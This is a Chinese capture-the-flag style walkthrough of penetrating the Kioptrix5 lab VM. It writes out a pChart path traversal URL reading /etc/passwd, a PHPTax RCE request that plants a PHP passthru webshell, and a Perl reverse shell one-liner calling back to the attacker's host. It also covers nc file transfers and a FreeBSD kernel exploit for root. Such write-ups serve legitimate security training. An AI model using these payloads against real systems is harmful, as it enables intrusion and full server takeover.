今天给大家带来一篇Kioptrix5靶机的渗透测试详细讲解,本篇文章与之前一样,都会着重讲解getshell的方法以及思路,同时还会将横向渗透的过程用多种方法显示出来(如果有的话);
文章目录
信息收集
还是老样子,nmap扫描目标主机的网段,看看具体的IP地址是什么:
bash
# 扫描网段
nmap -sP 192.168.44.0/24
# 收集详细信息
nmap -sC -sV -A -p- -T4 192.168.44.157

知道了目标主机的IP地址为:192.168.44.157,进行收集详细的信息:

根据扫描的结果,可以得到:
- 操作系统为:
FreeBSD - Apache服务版本:2.2.21
- mod_ssl服务版本:2.2.21
- 端口服务:
ssh服务关闭;http服务开启,https服务开启;
渗透攻击
(1)尝试访问https服务,无法访问(端口不是开启的吗?)

具体原因后面会讲;
--
Pchart
(2)既然如此,那我们尝试访问Web页面:

查看源代码,发现了一个可疑url:URL=pChart2.1.3/index.php

输入网址后,访问页面如下图所示:

这个时候我简单了解了一下:

既然有漏洞,那就好办了,直接在漏洞库里进行寻找:pChart

发现漏洞,查看详情:

根据介绍我们可以得知,存在目录穿越 和XSS漏洞;
- XSS漏洞:
hxxp://localhost/examples/sandbox/script/session.php?<script>alert('XSS')</script>

这里我们简单尝试了一下,没有什么用;着重还是目录穿越漏洞;
-
目录穿越漏洞 指的是:程序原本只允许用户访问特定目录(例如
/var/www/html/upload/),但由于没有对用户输入做限制,攻击者可以通过加入../这样的路径跳转符,返回到上级目录,甚至跳到系统根目录。然后再拼接任意路径,比如:../../../../etc/passwd
最终导致攻击者可以利用 Web 程序的权限读取服务器上任意文件。
- 目录穿越:
hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

既然如此,那我们可以访问目标主机系统中Apache中间件的主配置文件httpd.conf,以确认我们无法访问8080端口的原因。

根据我们之前收集到的主机信息,找到了对应文件的位置:/usr/local/etc/apache22/httpd.conf

可以看到,已成功读取httpd.conf文件的内容;
而在httpd.conf文件的最下方,Apache针对8080端口的访问请求限制了浏览器类型和版本:

这个时候我们就可以用插件或者bp修改UA头,再去访问8080网页:

这时我们再将UA头进行修改:Mozilla/4.0 Mozilla4_browser

这时候我们就得到了不一样的页面;
phptax
同时我们还发现了一个新的服务:phptax
PHPTax 是一个早期的开源 PHP 税务计算程序,因为长期无人维护、代码老旧且大量使用不安全的函数(如
include、eval),使其存在多种经典漏洞,包括目录穿越、文件包含(LFI/RFI)、任意文件读取与写入,以及可进一步导致远程代码执行(RCE)。因此 PHPTax 常被安全人员作为教学和靶场练习的示例目标。
正常页面如下:


我们可以发现有MSF的自动化脚本,也有手动编译的脚本;在初学者阶段,我肯定是推荐手动进行编译,加深理解的:
我们选择RCE漏洞,进入查看使用文档:

构建如下链接:
方法一:自己创建并上传shell文件
bash
# 创建shell文件
http://192.168.44.157:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E
# 执行命令
http://192.168.44.157:8080/phptax/data/rce.php?cmd=id
我们创建了一个shell文件,并将执行结果通过参数cmd进行命令执行(CTF命令执行这部分可以看我之前的文章,已完结):

举例:

首先kali输入命令:nc -lvvp 8882
然后目标机器输入:
bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.44.131:8882");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

成功反弹shell:

输入命令:

这里我看网上有的师傅推荐了一个很好用的网站:https://forum.ywhack.com/reverse-shell
参考文章:https://blog.csdn.net/China_I_LOVE/article/details/145955351
方法二:使用kali的shell文件构建一句话木马
这里我们可以构造反弹shell的代码测试,可以借助"一句话Webshell "使用nc上传shell文件,本例中使用了Kali系统自带的php_reverse_shell.php ,它默认位于/usr/share/webshells/php目录:

(1)使用该文件时,首先要将其内部的反弹IP和端口更改为目前Kali系统实际使用的IP地址以及准备监听反弹shell的端口;
bash
nc -lvp 8882 < php_reverse_shell.php

(2)然后在目标机器上执行:
bash
http://192.168.44.157:8080/phptax/data/rce.php?cmd=nc 192.168.44.131 8882 > reverse_shell.php

在当前目录进行查看,发现存在:

(3)完成上述操作后,kali使用如下nc命令重新监听8882端口。
bash
nc -lvvp 8882

(4)最后通过浏览器访问链接http://192.168.44.157:8080/phptax/reverse_shell.php即可触发反弹shell的执行;
提权
现在我们得到了一个shell ,通过简单的人工命令枚举,会发现该目标主机本地没有Python,没有curl,甚至没有wget,但是存在GCC编译器:

FreeBSD 9内核提权实战
由于上述目标主机本地存在的可用程序寥寥,因此这里尝试使用系统内核提权方法来进行渗透测试;通过漏洞库,我们可以得到几个payload:

由于目标主机没有wget和curl,所以还是需要使用nc来进行文件传输:
(1)我们将payload文件进行下载,通过nc传输方法将源码上传到目标主机的Web目录上:

我们在kali上开启一个监听:

(2)然后再目标主机上执行代码:
bash
http://192.168.44.157:8080/phptax/data/rce.php?cmd=nc 192.168.44.131 1234 > 26368.c
(3)这个时候我们就可以看到kali返回了结果:

同时目标机器也已经得到payload文件:

(4)使用gcc编译:gcc 26368.c

得到可执行文件:

(5)通过./a.out命令执行编译产生的可执行文件,将直接获得root权限

成功得到root权限;
总结
期待下次再见,多看多练多总结;